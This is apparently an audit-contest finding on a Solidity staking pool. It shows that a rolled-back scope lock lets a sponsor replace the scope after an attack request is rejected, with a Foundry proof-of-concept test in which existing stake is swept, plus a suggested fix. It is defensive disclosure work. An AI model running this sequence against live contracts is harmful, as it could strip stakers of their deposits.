FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

ATTACK_REQUESTED rejection can reopen scope for already-staked pools because scopeLocked is rolled back

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: once the BattleChain registry leaves pre-attack staging (NOT_DEPLOYED / NEW_DEPLOYMENT), the pool scope should become immutable so existing stakers are not exposed to a different scope than the one they deposited against.

  • I analyzed ConfidencePool.sol and observed that ATTACK_REQUESTED attempts to lock scope in _observePoolState(), but the lock is rolled back by reverting caller paths. In particular, pokeRiskWindow() calls _observePoolState(), which sets scopeLocked = true, but then pokeRiskWindow() reverts because ATTACK_REQUESTED does not set riskWindowStart or riskWindowEnd. If the attack request is later rejected back to NOT_DEPLOYED, the sponsor can replace scope while existing stake remains in the pool.

// src/ConfidencePool.sol
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
@> _observePoolState();
@> if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function setPoolScope(address[] calldata accounts) external onlyOwner {
@> _observePoolState();
@> if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked
&& state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
@> scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
...
}

The issue is that scopeLocked = true is only persisted when the outer transaction succeeds. In ATTACK_REQUESTED, the available no-token observer path reverts after setting the lock, so the lock never persists.

Risk

Likelihood:

  • This occurs when the registry reaches ATTACK_REQUESTED, no successful pool call persists scopeLocked, and the attack request is later rejected back to NOT_DEPLOYED.

  • pokeRiskWindow() is the permissionless observation function, but during ATTACK_REQUESTED it reverts after _observePoolState() attempts to lock scope.

Impact:

  • A sponsor can replace the pool scope after stakers have already deposited and after the agreement already left pre-attack staging once.

  • Existing stakers can later lose principal under a replacement scope they did not deposit against, as shown by the corrupted-sweep PoC.

Proof of Concept

Create this file:

cat > test/unit/ScopeReopenAfterRejectedAttackPoC.t.sol <<'EOF'
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ScopeReopenAfterRejectedAttackPoC is BaseConfidencePoolTest {
address internal constant REPLACEMENT_SCOPE_ACCOUNT = address(0xBEEFCAFE);
function testPoC_AttackRequestRejectionReopensScopeForAlreadyStakedPool() external {
agreementContract.setContractInScope(REPLACEMENT_SCOPE_ACCOUNT, true);
_stake(alice, 100 * ONE);
address[] memory originalScope = pool.getScopeAccounts();
assertEq(originalScope.length, 1);
assertEq(originalScope[0], DEFAULT_SCOPE_ACCOUNT);
assertTrue(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT));
assertFalse(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT));
assertEq(pool.eligibleStake(alice), 100 * ONE);
// The agreement leaves pre-attack staging.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
// _observePoolState() sets scopeLocked=true internally, but pokeRiskWindow()
// then reverts because ATTACK_REQUESTED is not active-risk or terminal.
// The revert rolls back the attempted scope lock.
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "scope lock was rolled back by pokeRiskWindow revert");
address[] memory replacementScope = new address[](1);
replacementScope[0] = REPLACEMENT_SCOPE_ACCOUNT;
// setPoolScope also attempts to observe and lock, but then reverts with
// ScopePostLockImmutable, rolling back the lock again.
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(replacementScope);
assertFalse(pool.scopeLocked(), "failed setPoolScope also rolls back scope lock");
// DAO rejects the attack request, returning the agreement to NOT_DEPLOYED.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
// Sponsor can now replace scope even though the registry already left staging once.
pool.setPoolScope(replacementScope);
assertFalse(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT), "original scope removed");
assertTrue(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement scope added");
assertEq(pool.eligibleStake(alice), 100 * ONE, "Alice stake remains under replaced scope");
}
function testPoC_ReopenedScopeCanLaterSweepExistingStakeAsCorrupted() external {
agreementContract.setContractInScope(REPLACEMENT_SCOPE_ACCOUNT, true);
_stake(alice, 100 * ONE);
// Registry reaches ATTACK_REQUESTED, but no successful call persists scopeLocked.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "scope lock not persisted");
// Rejected attack request returns to NOT_DEPLOYED.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
// Sponsor replaces the scope while Alice's stake remains.
address[] memory replacementScope = new address[](1);
replacementScope[0] = REPLACEMENT_SCOPE_ACCOUNT;
pool.setPoolScope(replacementScope);
assertFalse(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT));
assertTrue(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT));
assertEq(pool.eligibleStake(alice), 100 * ONE);
// Later lifecycle proceeds under the replacement scope.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 100 * ONE);
assertEq(token.balanceOf(address(pool)), 0);
}
}
EOF

Run:

forge test --match-path test/unit/ScopeReopenAfterRejectedAttackPoC.t.sol -vvv

Observed output:

Ran 2 tests for test/unit/ScopeReopenAfterRejectedAttackPoC.t.sol:ScopeReopenAfterRejectedAttackPoC
[PASS] testPoC_AttackRequestRejectionReopensScopeForAlreadyStakedPool() (gas: 426312)
[PASS] testPoC_ReopenedScopeCanLaterSweepExistingStakeAsCorrupted() (gas: 555975)
Suite result: ok. 2 passed; 0 failed; 0 skipped

The PoC proves that:

  1. Existing stake is deposited under the original scope.

  2. ATTACK_REQUESTED cannot be permissionlessly persisted as a scope lock through pokeRiskWindow().

  3. After rejection back to NOT_DEPLOYED, the sponsor replaces scope.

  4. The existing stake remains in the pool under the replacement scope.

  5. The replacement scope later reaches CORRUPTED, and the existing stake is swept to recoveryAddress.

Recommended Mitigation

Treat a newly persisted scopeLocked transition as successful work in pokeRiskWindow().

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ bool wasScopeLocked = scopeLocked;
+ uint32 startBefore = riskWindowStart;
+ uint32 endBefore = riskWindowEnd;
_observePoolState();
- if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
+ if (
+ scopeLocked == wasScopeLocked
+ && riskWindowStart == startBefore
+ && riskWindowEnd == endBefore
+ ) {
+ revert RiskWindowNotReached();
+ }
}

This lets keepers/stakers persist the one-way scope lock during ATTACK_REQUESTED, even when no risk-window start or end is reached yet. It prevents ATTACK_REQUESTED -> NOT_DEPLOYED rejection from reopening sponsor-controlled scope mutation for already-staked pools.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!